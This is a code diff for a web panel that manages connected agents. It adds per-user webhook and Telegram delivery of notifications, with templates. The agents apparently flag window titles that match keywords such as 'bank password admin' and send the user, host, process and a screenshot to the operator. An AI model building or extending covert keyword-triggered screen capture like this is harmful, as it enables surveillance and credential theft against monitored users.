<div class="flex flex-wrap items-start justify-between gap-4">
|
<div class="flex flex-wrap items-start justify-between gap-4">
|
||||||
<div>
|
<div>
|
||||||
<h1 class="text-2xl font-semibold">Notifications</h1>
|
<h1 class="text-2xl font-semibold">Notifications</h1>
|
||||||
@@ -46,12 +49,13 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
<!-- Keyword Configuration (admin / operator only) -->
|
||||||
|
<div id="keyword-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||||
<div>
|
<div>
|
||||||
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
<h2 class="text-lg font-semibold">Keyword Configuration</h2>
|
||||||
<p class="text-sm text-slate-400">
|
<p class="text-sm text-slate-400">
|
||||||
One keyword per line. Changes apply to connected agents immediately.
|
One keyword per line. Changes apply to connected agents immediately. (Shared global setting)
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
@@ -64,19 +68,20 @@
|
|||||||
</div>
|
</div>
|
||||||
<textarea
|
<textarea
|
||||||
id="keyword-input"
|
id="keyword-input"
|
||||||
rows="6"
|
rows="5"
|
||||||
placeholder="bank password admin"
|
placeholder="bank password admin"
|
||||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
||||||
></textarea>
|
></textarea>
|
||||||
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Per-user Webhook Delivery -->
|
||||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||||
<div>
|
<div>
|
||||||
<h2 class="text-lg font-semibold">Webhook</h2>
|
<h2 class="text-lg font-semibold">My Webhook</h2>
|
||||||
<p class="text-sm text-slate-400">
|
<p class="text-sm text-slate-400">
|
||||||
Send each notification to an external webhook URL.
|
Your personal webhook — receives notifications only for clients you can access.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
@@ -84,30 +89,79 @@
|
|||||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||||
>
|
>
|
||||||
<i class="fa-solid fa-save"></i>
|
<i class="fa-solid fa-save"></i>
|
||||||
<span>Save Webhook</span>
|
<span>Save</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300">
|
|
||||||
<input id="webhook-enabled" type="checkbox" class="w-4 h-4" />
|
<label class="mt-4 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||||
|
<input id="webhook-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||||
Enable webhook delivery
|
Enable webhook delivery
|
||||||
</label>
|
</label>
|
||||||
<input
|
|
||||||
id="webhook-url"
|
<div class="mt-3 relative">
|
||||||
type="password"
|
<input
|
||||||
placeholder="https://example.com/notify"
|
id="webhook-url"
|
||||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
type="password"
|
||||||
/>
|
autocomplete="off"
|
||||||
<div class="mt-2 text-xs text-slate-500">
|
placeholder="https://example.com/notify (or Discord webhook URL)"
|
||||||
Payload: { type: "notification", data: { ... } }
|
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 pr-10 focus:outline-none focus:border-blue-500"
|
||||||
|
/>
|
||||||
|
<div style="position:absolute; right:0.75rem; top:50%; transform:translateY(-50%); display:flex; align-items:center;">
|
||||||
|
<button id="webhook-url-toggle" type="button" class="text-slate-400 hover:text-slate-200 leading-none" title="Show / hide">
|
||||||
|
<i class="fa-solid fa-eye"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Webhook template editor -->
|
||||||
|
<div class="mt-4">
|
||||||
|
<div class="flex items-center justify-between flex-wrap gap-2 mb-1">
|
||||||
|
<span class="text-sm font-medium text-slate-300">Request Body Template</span>
|
||||||
|
<div class="flex gap-2">
|
||||||
|
<button id="reset-webhook-template" type="button"
|
||||||
|
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||||
|
Use Premade Template
|
||||||
|
</button>
|
||||||
|
<button id="format-webhook-template" type="button"
|
||||||
|
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||||
|
Format JSON
|
||||||
|
</button>
|
||||||
|
<button id="preview-webhook-template" type="button"
|
||||||
|
class="text-xs px-2 py-1 rounded bg-blue-700 hover:bg-blue-600 text-white">
|
||||||
|
<i class="fa-solid fa-eye mr-1"></i>Preview
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
id="webhook-template"
|
||||||
|
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 focus-within:border-blue-500"
|
||||||
|
style="height: 180px;"
|
||||||
|
></div>
|
||||||
|
<p class="mt-1 text-xs text-slate-500">
|
||||||
|
Variables: <code class="text-slate-400">{title}</code>
|
||||||
|
<code class="text-slate-400">{keyword}</code>
|
||||||
|
<code class="text-slate-400">{clientId}</code>
|
||||||
|
<code class="text-slate-400">{user}</code>
|
||||||
|
<code class="text-slate-400">{host}</code>
|
||||||
|
<code class="text-slate-400">{process}</code>
|
||||||
|
<code class="text-slate-400">{os}</code>
|
||||||
|
<code class="text-slate-400">{pid}</code>
|
||||||
|
<code class="text-slate-400">{ts}</code>
|
||||||
|
— Discord webhook URLs auto-format as embeds.
|
||||||
|
</p>
|
||||||
|
<div id="webhook-template-preview"
|
||||||
|
class="hidden mt-3 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs font-mono text-slate-300 whitespace-pre-wrap max-h-48 overflow-y-auto">
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Per-user Telegram Bot Delivery -->
|
||||||
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
<div class="bg-slate-900/60 border border-slate-800 rounded-xl p-4">
|
||||||
<div class="flex items-center justify-between flex-wrap gap-3">
|
<div class="flex items-center justify-between flex-wrap gap-3">
|
||||||
<div>
|
<div>
|
||||||
<h2 class="text-lg font-semibold">Telegram Bot</h2>
|
<h2 class="text-lg font-semibold">My Telegram Bot</h2>
|
||||||
<p class="text-sm text-slate-400">
|
<p class="text-sm text-slate-400">
|
||||||
Send each notification to a Telegram chat via bot.
|
Your personal Telegram bot — receives notifications only for clients you can access.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<button
|
||||||
@@ -115,37 +169,100 @@
|
|||||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-emerald-600 hover:bg-emerald-700 text-white"
|
||||||
>
|
>
|
||||||
<i class="fa-solid fa-save"></i>
|
<i class="fa-solid fa-save"></i>
|
||||||
<span>Save Telegram</span>
|
<span>Save</span>
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
<label class="mt-3 inline-flex items-center gap-2 text-sm text-slate-300">
|
|
||||||
<input id="telegram-enabled" type="checkbox" class="w-4 h-4" />
|
<label class="mt-4 inline-flex items-center gap-2 text-sm text-slate-300 cursor-pointer">
|
||||||
|
<input id="telegram-enabled" type="checkbox" class="w-4 h-4 accent-emerald-500" />
|
||||||
Enable Telegram delivery
|
Enable Telegram delivery
|
||||||
</label>
|
</label>
|
||||||
<input
|
|
||||||
id="telegram-bot-token"
|
<div class="mt-3 grid grid-cols-1 gap-3 sm:grid-cols-2">
|
||||||
type="password"
|
<div class="relative">
|
||||||
placeholder="Bot token (123456:ABC-DEF...)"
|
<input
|
||||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
id="telegram-bot-token"
|
||||||
/>
|
type="password"
|
||||||
<input
|
autocomplete="off"
|
||||||
id="telegram-chat-id"
|
placeholder="Bot token (e.g. 123456:ABC-DEF...)"
|
||||||
type="password"
|
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 pr-10 focus:outline-none focus:border-blue-500"
|
||||||
placeholder="Chat ID (e.g. 123456789)"
|
/>
|
||||||
class="mt-3 w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 focus:outline-none focus:border-blue-500"
|
<div style="position:absolute; right:0.75rem; top:50%; transform:translateY(-50%); display:flex; align-items:center;">
|
||||||
/>
|
<button id="telegram-token-toggle" type="button" class="text-slate-400 hover:text-slate-200 leading-none" title="Show / hide">
|
||||||
|
<i class="fa-solid fa-eye"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="relative">
|
||||||
|
<input
|
||||||
|
id="telegram-chat-id"
|
||||||
|
type="password"
|
||||||
|
autocomplete="off"
|
||||||
|
placeholder="Chat ID (e.g. 123456789 or -100...)"
|
||||||
|
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 pr-10 focus:outline-none focus:border-blue-500"
|
||||||
|
/>
|
||||||
|
<div style="position:absolute; right:0.75rem; top:50%; transform:translateY(-50%); display:flex; align-items:center;">
|
||||||
|
<button id="telegram-chatid-toggle" type="button" class="text-slate-400 hover:text-slate-200 leading-none" title="Show / hide">
|
||||||
|
<i class="fa-solid fa-eye"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Telegram template editor -->
|
||||||
|
<div class="mt-4">
|
||||||
|
<div class="flex items-center justify-between flex-wrap gap-2 mb-1">
|
||||||
|
<span class="text-sm font-medium text-slate-300">Message Template</span>
|
||||||
|
<div class="flex gap-2">
|
||||||
|
<button id="reset-telegram-template" type="button"
|
||||||
|
class="text-xs px-2 py-1 rounded bg-slate-800 hover:bg-slate-700 text-slate-300">
|
||||||
|
Use Premade Template
|
||||||
|
</button>
|
||||||
|
<button id="preview-telegram-template" type="button"
|
||||||
|
class="text-xs px-2 py-1 rounded bg-blue-700 hover:bg-blue-600 text-white">
|
||||||
|
<i class="fa-solid fa-eye mr-1"></i>Preview
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<textarea
|
||||||
|
id="telegram-template"
|
||||||
|
rows="4"
|
||||||
|
placeholder="Premade template will be loaded automatically"
|
||||||
|
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 p-3 font-mono text-xs focus:outline-none focus:border-blue-500"
|
||||||
|
></textarea>
|
||||||
|
<p class="mt-1 text-xs text-slate-500">
|
||||||
|
Variables: <code class="text-slate-400">{title}</code>
|
||||||
|
<code class="text-slate-400">{keyword}</code>
|
||||||
|
<code class="text-slate-400">{clientId}</code>
|
||||||
|
<code class="text-slate-400">{user}</code>
|
||||||
|
<code class="text-slate-400">{host}</code>
|
||||||
|
<code class="text-slate-400">{process}</code>
|
||||||
|
<code class="text-slate-400">{os}</code>
|
||||||
|
<code class="text-slate-400">{pid}</code>
|
||||||
|
<code class="text-slate-400">{ts}</code>
|
||||||
|
</p>
|
||||||
|
<div id="telegram-template-preview"
|
||||||
|
class="hidden mt-3 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs font-mono text-slate-300 whitespace-pre-wrap max-h-48 overflow-y-auto">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Notification feed -->
|
||||||
<div
|
<div
|
||||||
id="notification-panel"
|
id="notification-panel"
|
||||||
class="bg-slate-900/60 border border-slate-800 rounded-xl p-4"
|
class="bg-slate-900/60 border border-slate-800 rounded-xl p-4"
|
||||||
>
|
>
|
||||||
<div class="flex items-center justify-between mb-3">
|
<div class="flex items-center justify-between mb-3">
|
||||||
<h2 class="text-lg font-semibold">Notifications</h2>
|
<div>
|
||||||
|
<h2 class="text-lg font-semibold">Notifications</h2>
|
||||||
|
<p id="notification-scope-hint" class="text-xs text-slate-500 mt-0.5">
|
||||||
|
Showing notifications for your accessible clients.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="overflow-x-auto max-h-80">
|
<div class="overflow-x-auto max-h-96">
|
||||||
<table class="min-w-full text-sm">
|
<table class="min-w-full text-sm">
|
||||||
<thead class="text-slate-400">
|
<thead class="text-slate-400 sticky top-0 bg-slate-900">
|
||||||
<tr class="text-left">
|
<tr class="text-left">
|
||||||
<th class="py-2 pr-4">Time</th>
|
<th class="py-2 pr-4">Time</th>
|
||||||
<th class="py-2 pr-4">Client</th>
|
<th class="py-2 pr-4">Client</th>
|
||||||
@@ -167,6 +284,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- Screenshot zoom modal -->
|
||||||
<div
|
<div
|
||||||
id="notification-preview-modal"
|
id="notification-preview-modal"
|
||||||
class="hidden fixed inset-0 z-50 items-center justify-center bg-black/70 p-6"
|
class="hidden fixed inset-0 z-50 items-center justify-center bg-black/70 p-6"
|
||||||
|
|||||||
@@ -106,32 +106,13 @@
|
|||||||
|
|
||||||
<div id="telegram-settings" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
|
<div id="telegram-settings" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
|
||||||
<div>
|
<div>
|
||||||
<h3 class="font-medium">Notification Settings</h3>
|
<h3 class="font-medium">Notification Delivery</h3>
|
||||||
<p class="text-xs text-slate-400">
|
<p class="text-xs text-slate-400">
|
||||||
Receive Telegram notifications for clients you have access to.
|
Webhook and Telegram Bot settings have moved to the
|
||||||
|
<a href="/notifications" class="text-sky-400 hover:underline font-medium">Notifications page</a>.
|
||||||
|
Configure your personal webhook and Telegram bot there.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<label class="block">
|
|
||||||
<span class="text-sm text-slate-300">Your Telegram Chat ID</span>
|
|
||||||
<input
|
|
||||||
id="my-telegram-chat-id"
|
|
||||||
type="text"
|
|
||||||
placeholder="e.g. 123456789 (leave empty to disable)"
|
|
||||||
class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-sky-500"
|
|
||||||
/>
|
|
||||||
</label>
|
|
||||||
<p class="text-xs text-slate-400">
|
|
||||||
Send <code>/start</code> to the Telegram bot, then use <code>/id</code> or
|
|
||||||
<a href="https://t.me/userinfobot" target="_blank" rel="noopener" class="text-sky-400 hover:underline">@userinfobot</a>
|
|
||||||
to find your chat ID.
|
|
||||||
</p>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
id="save-my-telegram"
|
|
||||||
class="px-4 py-2 rounded-lg bg-cyan-700 hover:bg-cyan-600 transition-colors text-white font-medium"
|
|
||||||
>
|
|
||||||
<i class="fa-brands fa-telegram mr-2"></i>Save Telegram Settings
|
|
||||||
</button>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<form id="security-form" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
|
<form id="security-form" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid";
|
|||||||
import { authenticateRequest } from "./auth";
|
import { authenticateRequest } from "./auth";
|
||||||
import { loadConfig, getConfig } from "./config";
|
import { loadConfig, getConfig } from "./config";
|
||||||
import { flushAuditLogsSync } from "./auditLog";
|
import { flushAuditLogsSync } from "./auditLog";
|
||||||
import { getUserById, getUsersWithTelegramChatId, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
import { getUserById, getUsersForNotificationDelivery, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||||
import { requireAuth, requirePermission } from "./rbac";
|
import { requireAuth, requirePermission } from "./rbac";
|
||||||
import { metrics } from "./metrics";
|
import { metrics } from "./metrics";
|
||||||
import { ensureDataDir } from "./paths";
|
import { ensureDataDir } from "./paths";
|
||||||
@@ -46,7 +46,7 @@ import {
|
|||||||
takePendingNotificationScreenshot,
|
takePendingNotificationScreenshot,
|
||||||
type NotificationRecord,
|
type NotificationRecord,
|
||||||
type PendingNotificationScreenshot,
|
type PendingNotificationScreenshot,
|
||||||
type PerUserTelegramRecipient,
|
type UserDeliveryTarget,
|
||||||
} from "./server/notification-delivery";
|
} from "./server/notification-delivery";
|
||||||
import {
|
import {
|
||||||
ensurePluginExtracted as ensurePluginExtractedFromRoot,
|
ensurePluginExtracted as ensurePluginExtractedFromRoot,
|
||||||
@@ -228,15 +228,23 @@ const storeNotificationScreenshotForPending = (
|
|||||||
height?: number,
|
height?: number,
|
||||||
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
|
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
|
||||||
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
||||||
const getPerUserRecipients = (clientId: string): PerUserTelegramRecipient[] => {
|
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
|
||||||
const usersWithTelegram = getUsersWithTelegramChatId();
|
const deliveryUsers = getUsersForNotificationDelivery();
|
||||||
return usersWithTelegram.map((u) => ({
|
return deliveryUsers
|
||||||
userId: u.id,
|
.filter((u) => canUserAccessClient(u.id, u.role, clientId))
|
||||||
chatId: u.telegram_chat_id,
|
.map((u) => ({
|
||||||
canAccessClient: canUserAccessClient(u.id, u.role, clientId),
|
userId: u.id,
|
||||||
}));
|
username: u.username,
|
||||||
|
webhookEnabled: u.webhook_enabled === 1,
|
||||||
|
webhookUrl: u.webhook_url || "",
|
||||||
|
webhookTemplate: u.webhook_template,
|
||||||
|
telegramEnabled: u.telegram_enabled === 1,
|
||||||
|
telegramBotToken: u.telegram_bot_token || "",
|
||||||
|
telegramChatId: u.telegram_chat_id || "",
|
||||||
|
telegramTemplate: u.telegram_template,
|
||||||
|
}));
|
||||||
};
|
};
|
||||||
return deliverNotificationWithScreenshot(record, getNotificationConfig, getPerUserRecipients);
|
return deliverNotificationWithScreenshot(record, getUserDeliveryTargets);
|
||||||
};
|
};
|
||||||
|
|
||||||
const notificationPluginHandlers = createNotificationPluginHandlers({
|
const notificationPluginHandlers = createNotificationPluginHandlers({
|
||||||
@@ -248,6 +256,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
pendingPluginEvents,
|
pendingPluginEvents,
|
||||||
pluginState,
|
pluginState,
|
||||||
getNotificationConfig,
|
getNotificationConfig,
|
||||||
|
canUserAccessClient,
|
||||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||||
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
||||||
savePluginState,
|
savePluginState,
|
||||||
|
|||||||
@@ -29,6 +29,24 @@ export type PendingNotificationScreenshot = {
|
|||||||
timeout: NodeJS.Timeout;
|
timeout: NodeJS.Timeout;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export type UserDeliveryTarget = {
|
||||||
|
userId: number;
|
||||||
|
username: string;
|
||||||
|
webhookEnabled: boolean;
|
||||||
|
webhookUrl: string;
|
||||||
|
webhookTemplate: string | null;
|
||||||
|
telegramEnabled: boolean;
|
||||||
|
telegramBotToken: string;
|
||||||
|
telegramChatId: string;
|
||||||
|
telegramTemplate: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
export const DEFAULT_WEBHOOK_TEMPLATE =
|
||||||
|
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
|
||||||
|
|
||||||
|
export const DEFAULT_TELEGRAM_TEMPLATE =
|
||||||
|
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`;
|
||||||
|
|
||||||
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
|
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
|
||||||
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
|
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
|
||||||
|
|
||||||
@@ -40,6 +58,47 @@ function getScreenshotMeta(format: string | undefined): { contentType: string; e
|
|||||||
return { contentType: "application/octet-stream", ext: "bin" };
|
return { contentType: "application/octet-stream", ext: "bin" };
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function renderNotificationTemplate(
|
||||||
|
template: string | null | undefined,
|
||||||
|
record: NotificationRecord,
|
||||||
|
defaultTemplate: string,
|
||||||
|
): string {
|
||||||
|
const tpl = template && template.trim() ? template : defaultTemplate;
|
||||||
|
return tpl
|
||||||
|
.replace(/{title}/g, record.title ?? "")
|
||||||
|
.replace(/{keyword}/g, record.keyword ?? "")
|
||||||
|
.replace(/{clientId}/g, record.clientId ?? "")
|
||||||
|
.replace(/{user}/g, record.user ?? "")
|
||||||
|
.replace(/{host}/g, record.host ?? "")
|
||||||
|
.replace(/{process}/g, record.process ?? "")
|
||||||
|
.replace(/{os}/g, record.os ?? "")
|
||||||
|
.replace(/{pid}/g, String(record.pid ?? ""))
|
||||||
|
.replace(/{ts}/g, String(record.ts ?? ""));
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildCanonicalWebhookPayload(record: NotificationRecord): string {
|
||||||
|
return JSON.stringify({ type: "notification", data: record });
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildWebhookBody(target: UserDeliveryTarget, record: NotificationRecord): string {
|
||||||
|
const customTemplate = target.webhookTemplate?.trim() || "";
|
||||||
|
if (!customTemplate) {
|
||||||
|
return buildCanonicalWebhookPayload(record);
|
||||||
|
}
|
||||||
|
|
||||||
|
const rendered = renderNotificationTemplate(customTemplate, record, DEFAULT_WEBHOOK_TEMPLATE);
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(rendered);
|
||||||
|
return JSON.stringify(parsed);
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn(
|
||||||
|
`[notify] invalid webhook template for user ${target.username}; falling back to canonical payload`,
|
||||||
|
err,
|
||||||
|
);
|
||||||
|
return buildCanonicalWebhookPayload(record);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function waitForNotificationScreenshot(
|
async function waitForNotificationScreenshot(
|
||||||
notificationId: string,
|
notificationId: string,
|
||||||
timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
|
timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
|
||||||
@@ -94,26 +153,25 @@ export function storeNotificationScreenshot(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function postNotificationWebhook(
|
async function deliverToUserWebhook(
|
||||||
|
target: UserDeliveryTarget,
|
||||||
record: NotificationRecord,
|
record: NotificationRecord,
|
||||||
getNotificationConfig: () => any,
|
|
||||||
screenshot?: NotificationScreenshotRecord | null,
|
screenshot?: NotificationScreenshotRecord | null,
|
||||||
): Promise<void> {
|
): Promise<void> {
|
||||||
const config = getNotificationConfig();
|
if (!target.webhookEnabled) return;
|
||||||
if (!config.webhookEnabled) return;
|
const url = (target.webhookUrl || "").trim();
|
||||||
const url = (config.webhookUrl || "").trim();
|
|
||||||
if (!url) return;
|
if (!url) return;
|
||||||
|
|
||||||
|
let parsed: URL;
|
||||||
try {
|
try {
|
||||||
const parsed = new URL(url);
|
parsed = new URL(url);
|
||||||
if (!/^https?:$/.test(parsed.protocol)) {
|
if (!/^https?:$/.test(parsed.protocol)) return;
|
||||||
return;
|
|
||||||
}
|
|
||||||
} catch {
|
} catch {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname);
|
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
|
||||||
if (isDiscord) {
|
if (isDiscord) {
|
||||||
const embed: Record<string, any> = {
|
const embed: Record<string, any> = {
|
||||||
title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
|
title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
|
||||||
@@ -128,7 +186,7 @@ async function postNotificationWebhook(
|
|||||||
};
|
};
|
||||||
|
|
||||||
const payload: Record<string, any> = {
|
const payload: Record<string, any> = {
|
||||||
content: `🔔 Notification: ${record.title}`,
|
content: `\u{1F514} Notification: ${record.title}`,
|
||||||
embeds: [embed],
|
embeds: [embed],
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -155,38 +213,29 @@ async function postNotificationWebhook(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const payload = { type: "notification", data: record };
|
const body = buildWebhookBody(target, record);
|
||||||
await fetch(url, {
|
await fetch(url, {
|
||||||
method: "POST",
|
method: "POST",
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
body: JSON.stringify(payload),
|
body,
|
||||||
});
|
});
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
logger.warn("[notify] webhook delivery failed", err);
|
logger.warn(`[notify] webhook delivery to user ${target.username} failed`, err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function postTelegramNotification(
|
async function deliverToUserTelegram(
|
||||||
|
target: UserDeliveryTarget,
|
||||||
record: NotificationRecord,
|
record: NotificationRecord,
|
||||||
getNotificationConfig: () => any,
|
|
||||||
screenshot?: NotificationScreenshotRecord | null,
|
screenshot?: NotificationScreenshotRecord | null,
|
||||||
): Promise<void> {
|
): Promise<void> {
|
||||||
const config = getNotificationConfig();
|
if (!target.telegramEnabled) return;
|
||||||
if (!config.telegramEnabled) return;
|
const token = (target.telegramBotToken || "").trim();
|
||||||
const token = (config.telegramBotToken || "").trim();
|
const chatId = (target.telegramChatId || "").trim();
|
||||||
const chatId = (config.telegramChatId || "").trim();
|
|
||||||
if (!token || !chatId) return;
|
if (!token || !chatId) return;
|
||||||
|
|
||||||
await sendTelegramToChat(token, chatId, record, screenshot);
|
const text = renderNotificationTemplate(target.telegramTemplate, record, DEFAULT_TELEGRAM_TEMPLATE);
|
||||||
}
|
|
||||||
|
|
||||||
async function sendTelegramToChat(
|
|
||||||
token: string,
|
|
||||||
chatId: string,
|
|
||||||
record: NotificationRecord,
|
|
||||||
screenshot?: NotificationScreenshotRecord | null,
|
|
||||||
): Promise<void> {
|
|
||||||
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
|
|
||||||
try {
|
try {
|
||||||
if (screenshot?.bytes?.length) {
|
if (screenshot?.bytes?.length) {
|
||||||
const meta = getScreenshotMeta(screenshot.format);
|
const meta = getScreenshotMeta(screenshot.format);
|
||||||
@@ -195,63 +244,39 @@ async function sendTelegramToChat(
|
|||||||
form.append("chat_id", chatId);
|
form.append("chat_id", chatId);
|
||||||
form.append("caption", text);
|
form.append("caption", text);
|
||||||
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
|
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
|
||||||
const url = `https://api.telegram.org/bot${token}/sendPhoto`;
|
const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`;
|
||||||
await fetch(url, { method: "POST", body: form });
|
await fetch(apiUrl, { method: "POST", body: form });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const url = `https://api.telegram.org/bot${token}/sendMessage`;
|
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
|
||||||
await fetch(url, {
|
await fetch(apiUrl, {
|
||||||
method: "POST",
|
method: "POST",
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
body: JSON.stringify({ chat_id: chatId, text }),
|
body: JSON.stringify({ chat_id: chatId, text }),
|
||||||
});
|
});
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
logger.warn(`[notify] telegram delivery to chat ${chatId} failed`, err);
|
logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export type PerUserTelegramRecipient = {
|
async function deliverToUser(
|
||||||
userId: number;
|
target: UserDeliveryTarget,
|
||||||
chatId: string;
|
|
||||||
